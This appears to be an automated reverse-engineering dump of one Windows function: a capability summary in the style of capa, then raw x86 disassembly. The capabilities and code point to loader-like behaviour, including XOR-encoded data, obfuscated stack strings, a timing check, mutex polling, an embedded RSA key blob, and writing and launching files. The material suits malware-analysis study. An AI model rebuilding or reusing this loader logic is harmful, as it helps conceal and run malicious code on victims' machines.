Function at 0x421df0
Capabilities:
Authenticate hmac
Check for time delay via gettickcount
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Create process suspended
Delete file
Encode data using xor
Get file size
Move file
Read file on windows
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b40
call fcn.004205a0
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 4], ebx
jmp 0x421e0b
cmp byte [ebx], 0
jne 0x423ee9
call fcn.004242b0
mov byte [ebx + 0x2b79], al
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebx + 0x2b0c], eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov ecx, dword [ebp + 8]
mov dword [0x446488], eax
lea eax, [ebx + 0x2b10]
push 0x20
push ecx
push eax
call fcn.004304bf
add esp, 0xc
mov ecx, ebx
mov byte [ebx + 0x2b2f], 0
push 0x104
push 0x44615c
call fcn.00424380
push 0
push 0x44615c
call fcn.004303d4
add esp, 8
cmp eax, 0xffffffff
jne 0x421ebb
push 0
push 0x44615c
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x421ebb
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
call esi
push eax
push 0x4429c8
call fcn.0042c270
add esp, 4
add ebx, 0x24
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0x6f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [sym.imp.kernel32.dll_lstrcat]
push 0x4429c4
push 0x44615c
call esi
push 3
push 0x44615c
call fcn.00427cf0
push 0x4429b4
call fcn.0042c270
add esp, 0xc
push eax
push 0x44615c
call esi
mov ecx, ebx
call fcn.00421d60
mov al, 0x8d
mov dl, 0x73
mov byte [ebp - 0x59], al
mov byte [ebp - 0x55], al
mov cl, 0xf4
mov al, 0xa8
add ebx, 0x24
mov byte [ebp - 0x80], 6
mov byte [ebp - 0x7f], 2
mov byte [ebp - 0x7e], 0
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7c], 0
mov byte [ebp - 0x7b], 0xa4
mov byte [ebp - 0x7a], 0
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x78], 0x52
mov byte [ebp - 0x77], 0x53
mov byte [ebp - 0x76], 0x41
mov byte [ebp - 0x75], 0x31
mov byte [ebp - 0x74], 0
mov byte [ebp - 0x73], 2
mov byte [ebp - 0x72], 0
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x70], 1
mov byte [ebp - 0x6f], 0
mov byte [ebp - 0x6e], 1
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 0x91
mov byte [ebp - 0x6b], 0xc8
mov byte [ebp - 0x6a], 0xb0
mov byte [ebp - 0x69], 0x9a
mov byte [ebp - 0x68], 0x2c
mov byte [ebp - 0x67], 0x39
mov byte [ebp - 0x66], 0xd2
mov byte [ebp - 0x65], dl
mov byte [ebp - 0x64], 0x5e
mov byte [ebp - 0x63], 0x8f
mov byte [ebp - 0x62], 0x6f
mov byte [ebp - 0x61], 0x15
mov byte [ebp - 0x60], 0x2a
mov byte [ebp - 0x5f], 0xe7
mov byte [ebp - 0x5e], 0x4f
mov byte [ebp - 0x5d], 0xbd
mov byte [ebp - 0x5c], 0x66
mov byte [ebp - 0x5b], 0xff
mov byte [ebp - 0x5a], 0x4e
mov byte [ebp - 0x58], 0x8c
mov byte [ebp - 0x57], 0xb3
mov byte [ebp - 0x56], 0xc0
mov byte [ebp - 0x54], 0x98
mov byte [ebp - 0x53], cl
mov byte [ebp - 0x52], 0xb2
mov byte [ebp - 0x51], 0xdc
mov byte [ebp - 0x50], 0x81
mov byte [ebp - 0x4f], 0x43
mov byte [ebp - 0x4e], 0x51
mov byte [ebp - 0x4d], 0xbc
mov byte [ebp - 0x4c], 0xf3
mov byte [ebp - 0x4b], 0xd6
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x50
mov byte [ebp - 0x48], 0x7f
mov byte [ebp - 0x47], 0x39
mov byte [ebp - 0x46], 0x87
mov byte [ebp - 0x45], al
mov byte [ebp - 0x44], 0x1b
mov byte [ebp - 0x3e], al
mov eax, dword [ebx]
cmp eax, 0xffffffff
mov byte [ebp - 0x43], 0x5c
mov byte [ebp - 0x42], 6
mov byte [ebp - 0x41], 0x36
mov byte [ebp - 0x40], 0x47
mov byte [ebp - 0x3f], 8
mov byte [ebp - 0x3d], 0xd8
mov byte [ebp - 0x3c], 0x63
mov byte [ebp - 0x3b], 0xad
mov byte [ebp - 0x3a], 0xfd
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0xb5
mov byte [ebp - 0x37], 0xa4
mov byte [ebp - 0x36], 0x94
mov byte [ebp - 0x35], pe_nt_image_headers32
mov byte [ebp - 0x34], 0xe0
mov byte [ebp - 0x33], 0xdf
mov byte [ebp - 0x32], 0xea
mov byte [ebp - 0x31], 0xc5
mov byte [ebp - 0x30], cl
mov byte [ebp - 0x2f], dl
mov byte [ebp - 0x2e], 0xdc
mov byte [ebp - 0x2d], 0xd2
jne 0x422650
mov edi, 0x44615c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx + 0x1438], 0
mov dword [ebx + 0x143c], 0x3e8
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
jbe 0x4220b0
cmp byte [0x44615d], 0x3a
je 0x4220b0
lea edx, [ebp - 0x740]
push 0x104
push edx
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x740]
push 0x5c
push eax
call fcn.0043033e
add esp, 8
lea edx, [eax + 1]
test eax, eax
jne 0x4220b6
lea edx, [ebp - 0x740]
mov edi, 0x44615c
or ecx, 0xffffffff
xor eax, eax
push 0x2e
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x740]
push ecx
call fcn.0043033e
mov byte [eax], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x537]
mov byte [ebp - 0x538], 0
mov byte [ebp - 0x434], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x433]
add esp, 8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xb8]
lea edx, [ebp - 0xb8]
push 1
push eax
mov dword [ebp - 0x94], 0xc
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], 0
xor esi, esi
call dword [fcn.0043a030]
test eax, eax
je 0x42216e
push esi
push esi
lea ecx, [ebp - 0xb8]
push 1
push ecx
call dword [fcn.0043a02c]
test eax, eax
je 0x42216e
lea esi, [ebp - 0x94]
push 0x44221c
call fcn.0042c270
add esp, 4
push eax
push 0
push esi
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov edi, eax
test edi, edi
jne 0x422193
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x4221b4
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
push edi
jne 0x4221ae
call dword [sym.imp.kernel32.dll_CloseHandle]
mov esi, 1
jmp 0x4221b6
call dword [sym.imp.kernel32.dll_CloseHandle]
xor esi, esi
or edi, 0xffffffff
cmp edi, 0xffffffff
jne 0x4221db
lea edx, [ebp - 0x740]
lea eax, [ebp - 0x538]
push edx
push 0x4429ac
push eax
call fcn.00407adb
add esp, 0xc
jmp 0x4221f7
lea ecx, [ebp - 0x740]
push edi
push ecx
lea edx, [ebp - 0x538]
push 0x4429a0
push edx
call fcn.00407adb
add esp, 0x10
lea eax, [ebp - 0x538]
push 0
push eax
call fcn.004303d4
add esp, 8
cmp eax, 0xffffffff
jne 0x422212
cmp edi, 1
jge 0x422229
test esi, esi
jne 0x422223
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileA]
inc edi
cmp edi, 0x63
jle 0x4221b9
cmp edi, 0xffffffff
jle 0x4222d6
lea esi, [edi - 1]
cmp esi, 0xffffffff
jne 0x422257
lea edx, [ebp - 0x740]
lea eax, [ebp - 0x538]
push edx
push 0x4429ac
push eax
call fcn.00407adb
add esp, 0xc
jmp 0x422273
lea ecx, [ebp - 0x740]
push esi
push ecx
lea edx, [ebp - 0x538]
push 0x4429a0
push edx
call fcn.00407adb
add esp, 0x10
lea eax, [ebp - 0x740]
push edi
push eax
lea ecx, [ebp - 0x434]
push 0x4429a0
push ecx
call fcn.00407adb
add esp, 0x10
lea edx, [ebp - 0x434]
lea eax, [ebp - 0x538]
push 1
push edx
push eax
call dword [sym.imp.kernel32.dll_MoveFileExA]
test eax, eax
jne 0x4222cb
lea ecx, [ebp - 0x434]
push eax
lea edx, [ebp - 0x538]
push ecx
push edx
call dword [sym.imp.kernel32.dll_CopyFileA]
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
dec edi
dec esi
cmp edi, 0xffffffff
jg 0x422235
lea ecx, [ebp - 0x740]
lea edx, [ebp - 0x538]
push ecx
push 0x4429ac
push edx
call fcn.00407adb
add esp, 0xc
mov edi, dword [sym.imp.kernel32.dll_CreateFileA]
lea eax, [ebp - 0x538]
push 0
push 0x80000080
push 2
push 0
push 5
push 0xc0000000
push eax
call edi
cmp eax, 0xffffffff
mov dword [ebx], eax
jne 0x422336
push 0
push 0x80000080
push 2
push 0
push 1
lea ecx, [ebp - 0x538]
push 0xc0000000
push ecx
call edi
mov dword [ebx], eax
call dword [sym.imp.kernel32.dll_GetLastError]
cmp dword [ebx], 0xffffffff
je 0x422650
lea esi, [ebx + 0x101c]
push esi
call dword [sym.imp.kernel32.dll_GetLocalTime]
xor edx, edx
xor eax, eax
mov dx, word [ebx + 0x102a]
mov ax, word [ebx + 0x1028]
push edx
xor ecx, ecx
mov cx, word [ebx + 0x1026]
xor edx, edx
mov dx, word [ebx + 0x1024]
push eax
push ecx
xor eax, eax
mov ax, word [ebx + 0x1022]
push edx
xor ecx, ecx
xor edx, edx
mov cx, word [ebx + 0x101e]
mov dx, word [esi]
push eax
push ecx
push edx
push 0x442950
lea edi, [ebx + 0x1c]
call fcn.0042c200
add esp, 4
push eax
push edi
call fcn.00407adb
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
mov eax, dword [ebx + 0x143c]
not ecx
dec ecx
cmp eax, 0x3e7
mov dword [ebp - 0xc], ecx
jne 0x4223cf
mov dword [ebp - 0xc], 0
mov eax, dword [ebx + 0x1438]
test eax, eax
je 0x422416
mov eax, dword [ebp - 0xc]
test eax, eax
jle 0x422636
mov esi, dword [ebp - 0xc]
mov edi, 0xffffffe4
lea eax, [ebx + 0x1c]
sub edi, ebx
mov ecx, 2
mov edx, dword [ebx + 0x1438]
add edx, ecx
mov dword [ebx + 0x1438], edx
add dl, 0x43
xor byte [eax], dl
inc eax
lea edx, [edi + eax]
cmp edx, esi
jl 0x4223f6
jmp 0x422636
xor edi, edi
mov di, word [ebx + 0x102a]
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dx, word [ebx + 0x1028]
mov cx, word [ebx + 0x1026]
add eax, edi
add eax, edx
mov dx, word [ebx + 0x1022]
add ecx, eax
mov ax, word [esi]
imul eax, edx
mov dx, word [ebx + 0x101e]
mov esi, 0xa
imul eax, edx
imul eax, edi
inc eax
xor edx, edx
imul ecx, eax
and ecx, 0xffff
or ecx, 0xfc000000
mov eax, ecx
div esi
xor edx, 0x55
shl edx, 0x10
or edx, ecx
mov dword [ebx + 0x102c], edx
call dword [sym.imp.kernel32.dll_GetTickCount]
push eax
call fcn.00430261
add esp, 4
xor esi, esi
call fcn.00430273
and eax, 0x800000ff
jns 0x4224a0
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x98], al
inc esi
cmp esi, 0x10
jl 0x42248d
lea ecx, [ebp - 0x98]
lea eax, [ebx + 0x1030]
push ecx
push 0x10
push eax
call fcn.0042bac0
add esp, 0xc
xor edi, edi
lea edx, [ebp - 8]
mov dword [ebp - 8], edi
push 0xf0000000
push 1
push 0x442924
push edi
push edx
mov dword [ebp - 0x1c], edi
call dword [fcn.0043a044]
test eax, eax
je 0x42261e
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
lea ecx, [ebp - 0x80]
push 0x54
push ecx
push edx
call dword [fcn.0043a040]
test eax, eax
je 0x422613
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
push edi
push eax
push edi
push edi
push 1
push edi
push ecx
mov dword [ebp - 0x14], edi
call dword [fcn.0043a03c]
mov esi, dword [ebp - 0x14]
cmp esi, edi
je 0x4225bb
push esi
call fcn.004087f5
mov edi, eax
mov eax, dword [ebp - 0x98]
mov edx, edi
mov dword [ebp - 0x14], 0x10
add esp, 4
mov dword [edx], eax
mov ecx, dword [ebp - 0x94]
push esi
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x90]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0x8c]
mov dword [edx + 0xc], ecx
mov al, byte [edi]
lea edx, [ebp - 0x14]
xor al, 0x23
push edx
push edi
mov byte [edi], al
mov eax, dword [ebp - 0x1c]
push 0
push 1
push 0
push eax
call dword [fcn.0043a03c]
test eax, eax
je 0x4225b0
mov eax, dword [ebx]
lea ecx, [ebp - 0x14]
push 0
push ecx
lea edx, [ebp - 0x18]
push 4
push edx
push eax
mov dword [ebp - 0x18], 0xccfc00
call dword [sym.imp.kernel32.dll_WriteFile]
mov edx, dword [ebx]
lea ecx, [ebp - 0x14]
push 0
push ecx
push esi
push edi
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
push edi
call fcn.004084a2
add esp, 4
jmp 0x422607
mov edx, dword [ebx]
mov esi, dword [sym.imp.kernel32.dll_WriteFile]
lea eax, [ebp - 0x14]
push edi
push eax
lea ecx, [ebp - 0x18]
push 4
push ecx
push edx
mov dword [ebp - 0x18], 0xccfd00
call esi
xor eax, eax
mov cl, byte [ebp + eax - 0x98]
mov dl, byte [ebp + eax - 0x6b]
xor cl, dl
mov byte [ebp + eax - 0xb4], cl
inc eax
cmp eax, 0x10
jl 0x4225da
mov ecx, dword [ebx]
lea edx, [ebp - 0x14]
push edi
push edx
lea eax, [ebp - 0xb4]
push 0x10
push eax
push ecx
call esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [fcn.0043a038]
xor edi, edi
mov eax, dword [ebp - 8]
push edi
push eax
call dword [fcn.0043a034]
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + 0x1c]
push eax
push eax
lea eax, [ebx + 0x1030]
push ecx
push eax
call fcn.0042bbb0
add esp, 0x10
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebx]
lea edx, [ebp - 0x84]
push 0
push edx
push eax
lea eax, [ebx + 0x1c]
push eax
push ecx
call dword [sym.imp.kernel32.dll_WriteFile]
push 0x442908
push 0x3e
push 0x4428d8
call fcn.0042c200
add esp, 4
push eax
push ebx
call fcn.00424080
mov esi, dword [ebp - 4]
mov edx, dword [ebp + 8]
add esp, 0x10
mov eax, dword [esi + 0x2b0c]
push fcn.004215a0
push edx
push eax
push 0x442898
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
call fcn.00425c70
call fcn.00425d50
push 0x442890
call fcn.0042c270
add esp, 0x18
push eax
push ebx
call fcn.00424080
add esp, 8
lea ecx, [ebp - 0x22c]
push 0x104
push ecx
mov ecx, esi
call fcn.00424380
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x442884
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, dword [ebp - 4]
and ecx, 3
lea edx, [ebp - 0x22c]
rep movsb byte es:[edi], byte [esi]
lea edi, [eax + 0x2b10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x22c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004303d4
add esp, 0xc
cmp eax, 0xffffffff
jne 0x42282f
lea ecx, [ebp - 0x22c]
push 0x104
push ecx
mov ecx, dword [ebp - 4]
call fcn.004243d0
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x442884
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, dword [ebp - 4]
and ecx, 3
lea edx, [ebp - 0x22c]
rep movsb byte es:[edi], byte [esi]
lea edi, [eax + 0x2b10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x22c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x22c]
push 1
push eax
lea esi, [edi + 0x2ac4]
mov ecx, esi
call fcn.0042a540
test al, al
je 0x42294e
mov ecx, dword [0x4420d4]
push ecx
call fcn.0042c270
add esp, 4
add eax, 5
lea edx, [ebp - 0x1b40]
mov ecx, esi
push eax
push 0x7ff
lea eax, [ebp - 0x22c]
push edx
push eax
call fcn.0042ac50
test al, al
je 0x42294e
push 0x442878
call fcn.0042c200
add esp, 4
lea ecx, [ebp - 0x1b40]
lea edx, [ebp - 0xc4]
mov esi, eax
push ecx
push 0x20
push edx
push 0x44286c
call fcn.0042c200
add esp, 4
push eax
push 0x44285c
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.0042c930
add esp, 0x18
lea eax, [ebp - 0x1b40]
push eax
push 0
push 0x44284c
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.0042c8c0
mov dword [0x4465c4], eax
lea eax, [edi + 0x2b10]
lea ecx, [ebp - 0xc4]
push eax
push ecx
call fcn.00407832
add esp, 0x18
test eax, eax
jne 0x42294e
lea edx, [ebp - 0x1b40]
push edx
push eax
push 0x442840
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.0042c8c0
add esp, 0x10
mov dword [0x446480], eax
lea eax, [ebp - 0x1b40]
push eax
push 0
push 0x442830
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.0042c8c0
add esp, 0x10
mov dword [0x446494], eax
mov al, byte [edi + 0x2b8c]
test al, al
je 0x422962
push 1
call fcn.00427940
add esp, 4
push 1
push 0x251c
mov ecx, edi
call fcn.00424f70
test eax, eax
jne 0x422a75
push 0x442814
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
push 0x442800
call fcn.0042c270
mov edi, dword [sym.imp.kernel32.dll_OpenMutexA]
add esp, 0xc
push eax
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
jne 0x422a6b
push 0x4427f4
call fcn.0042c270
add esp, 4
push eax
push esi
push 0x100000
call edi
mov esi, eax
test esi, esi
jne 0x422a6b
mov dword [ebp - 8], eax
test esi, esi
jne 0x422a6b
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
push 0x442800
call fcn.0042c270
add esp, 4
push eax
push esi
push 0x100000
call edi
mov esi, eax
test esi, esi
jne 0x422a1a
push 0x4427f4
call fcn.0042c270
add esp, 4
push eax
push esi
push 0x100000
call edi
mov esi, eax
push 0x4427e0
call fcn.0042c270
add esp, 4
push eax
push 0
push 0x100000
call edi
test eax, eax
jne 0x422a50
push 0x4427d4
call fcn.0042c270
add esp, 4
push eax
push 0
push 0x100000
call edi
test eax, eax
je 0x422a67
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 8]
inc eax
cmp eax, 0x5f
mov dword [ebp - 8], eax
jl 0x4229d6
test esi, esi
je 0x422a72
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov edi, dword [ebp - 4]
push 0
mov ecx, edi
call fcn.00425090
test eax, eax
jne 0x422b1e
mov esi, dword [0x4464ac]
push 0x4427c0
inc esi
mov dword [0x4464ac], esi
call fcn.0042c270
add esp, 4
push eax
push 0
push 0x100000
call dword [sym.imp.kernel32.dll_OpenEventA]
mov esi, eax
test esi, esi
jne 0x422adf
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
push 0x4427c0
call fcn.0042c270
add esp, 4
push eax
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenEventA]
mov esi, eax
test esi, esi
je 0x422b1e
push 0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x422b17
push 0x251c
mov ecx, edi
call fcn.00425090
test eax, eax
jne 0x422b0d
pop edi
pop esi
mov eax, 0x6e
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [0x4464ac], 0
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call dword [sym.imp.kernel32.dll_GetTickCount]
and eax, 0xfff00000
mov dword [ebp - 0x18], eax
mov eax, dword [0x4464b0]
test eax, eax
jne 0x422b4a
mov eax, dword [0x4464ac]
test eax, eax
jne 0x422b4a
mov ecx, dword [ebp + 8]
push ecx
call fcn.004280d0
add esp, 4
mov esi, dword [sym.imp.kernel32.dll_CreateEventA]
push 0
push 0
lea edx, [ebp - 0xa4]
push 0
push edx
mov dword [ebp - 0xa4], 0xc
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 1
call esi
test eax, eax
mov dword [edi + 0x2b88], eax
jne 0x422b99
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
call esi
push eax
push 0x44279c
jmp 0x422bea
push 0
push 0
lea eax, [ebp - 0xa4]
push 1
push eax
call esi
test eax, eax
mov dword [edi + 0x18], eax
jne 0x422bc1
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
call esi
push eax
push 0x442778
jmp 0x422bea
push 0
push 0
lea ecx, [ebp - 0xa4]
push 0
push ecx
call esi
test eax, eax
mov dword [edi + 0x2b84], eax
jne 0x422c0a
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
call esi
push eax
push 0x442754
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0xab
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x44274c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov ecx, dword [ebp - 4]
add esp, 8
lea edx, [ebp - 0x330]
push 0x104
push edx
call fcn.004243d0
mov edi, 0x4429c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x330]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x442738
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0042c270
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x330]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x330]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004303d4
add esp, 0xc
cmp eax, 0xffffffff
jne 0x422cdd
lea ecx, [ebp - 0x330]
push ecx
push 0x442724
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov eax, 0x99
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea edx, [ebp - 0x330]
lea eax, [ebp - 0x330]
push edx
push eax
call fcn.0043022e
add esp, 8
test eax, eax
je 0x422d15
lea ecx, [ebp - 0x330]
push ecx
push 0x44270c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
mov esi, dword [ebp - 4]
lea edx, [ebp - 0x330]
push 1
push edx
lea ecx, [esi + 0x2ac4]
mov byte [ebp - 0xd], 0
call fcn.0042a540
test al, al
jne 0x422ee0
mov byte [ebp + 0xb], al
mov eax, dword [esi + 0x2b08]
cmp eax, 8
jne 0x422d57
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090006
jne 0x422d57
mov byte [ebp + 0xb], 1
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, dword [esi + 0x2b08]
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push edi
push 0x4426f0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x14
lea ecx, [ebp - 0x330]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push ecx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x422dd6
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 0x4426d8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0x10
jmp 0x422e43
push 0
push edi
call dword [sym.imp.kernel32.dll_GetFileSize]
push eax
push 0x4426c8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
push 2
push 0
push 0xfffffffffffffffc
push edi
call dword [sym.imp.kernel32.dll_SetFilePointer]
lea eax, [ebp - 0x84]
push 0
push eax
lea ecx, [ebp - 8]
push 4
push ecx
push edi
mov dword [ebp - 8], 0
call dword [sym.imp.kernel32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
push 0x4426b8
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 0xc
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, byte [ebp + 0xb]
test al, al
je 0x422ebb
mov al, byte [esi + 0x2b79]
test al, al
jne 0x422e8b
call fcn.00426cc0
test al, al
je 0x422e8b
lea eax, [ebp - 0x330]
push 1
push eax
lea ecx, [esi + 0x2ac4]
call fcn.0042a540
test al, al
jne 0x422e9d
cmp dword [esi + 0x2b08], 8
jne 0x422e99
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090006
jne 0x422e99
pop edi
pop esi
mov eax, 0x9b
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 0xd], 1
push 0x4426a0
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov al, byte [ebp - 0xd]
add esp, 8
test al, al
je 0x422ee0
push 0x44267c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
add esp, 8
mov eax, 0x7c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x442674
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x128]
mov edx, dword [0x4420d8]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov eax, dword [0x4464ac]
mov dword [ebp - 0x2c], ecx
add esp, 8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x128], 0x44
mov dword [ebp - 0x24], ecx
push edx
mov edx, dword [esi + 0x18]
mov dword [ebp - 0x20], ecx
mov ecx, dword [esi + 0x2b0c]
push eax
mov eax, dword [esi + 0x2b88]
push ecx
mov ecx, dword [ebp - 0x18]
push edx
push eax
lea eax, [esi + 0x2b10]
push eax
push ecx
push 0x442658
call fcn.0042c270
add esp, 4
lea edx, [ebp - 0x638]
push eax
push edx
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x638]
push eax
push 0x44264c
call fcn.0042c270
add esp, 4
push eax
push ebx
call fcn.00424080
lea ecx, [ebp - 0x638]
push ecx
call fcn.0042c160
mov dword [ebp + 8], eax
lea edi, [ebp - 0x638]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
lea edx, [ebp - 0xb40]
